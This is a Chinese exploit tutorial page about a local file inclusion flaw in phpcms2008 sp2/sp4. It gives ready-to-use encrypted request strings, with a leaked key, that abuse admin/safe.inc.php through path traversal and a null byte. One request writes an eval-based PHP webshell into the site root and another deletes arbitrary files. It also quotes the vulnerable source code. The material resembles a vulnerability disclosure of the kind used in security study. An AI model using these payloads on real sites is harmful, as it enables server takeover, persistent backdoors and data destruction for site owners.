Phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞_脚本攻防教程-查字典教程网
Phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞
Phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞
发布时间:2016-12-21 来源:查字典编辑
摘要:发布日期:2011-05.04发布作者:c4rp3nt3r影响版本:phpcms2008sp2orsp4官方地址:http://www.ph...

发布日期:2011-05.04

发布作者:c4rp3nt3r

影响版本:phpcms2008 sp2 or sp4

官方地址:http://www.phpcms.cn

漏洞类型:文件包含

漏洞描述:phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据

将在根目录下生成一句话

用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';

加密如下字符串

$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马

同理任意文件删除漏洞:

$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

参考:Flyh4t [PhpCMS]一个漏洞的二次利用

详细说明:

贴上存在漏洞的代码

复制代码代码如下:

//admin/safe.inc.php

<?php

defined('IN_PHPCMS') or exit('Access Denied');

// include/common.inc.php 里面声明了常量

// define('IN_PHPCMS', TRUE);

if(empty($action)) $action = "start";

$safe = cache_read('safe.php');

$filecheck = load('filecheck.class.php');

if(empty($safe))

{

$safe = array (

'file_type' => 'php|js',

'code' => '',

'func' => 'com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress',

'dir' => $filecheck->checked_dirs()

);

}

switch ($action)

{

...

case 'edit_code':

if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))

{

showmessage('修改成功!');

}

break;

case 'del_file':

$file_path = urldecode($files);

if (empty($file_path))

{

showmessage('请选择文件');

}

$file_list = cache_read('scan_backdoor.php');

unset($file_list[$file_path]);

cache_write('scan_backdoor.php',$file_list);

@unlink(PHPCMS_ROOT.$file_path);

showmessage('文件删除成功!', '?mod=phpcms&file=safe&action=scan_table');

break;

...

漏洞证明:

将在根目录下生成一句话

用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';

加密如下字符串

$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马

同理任意文件删除漏洞:

复制代码代码如下:

$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新脚本攻防学习
    热门脚本攻防学习
    子分类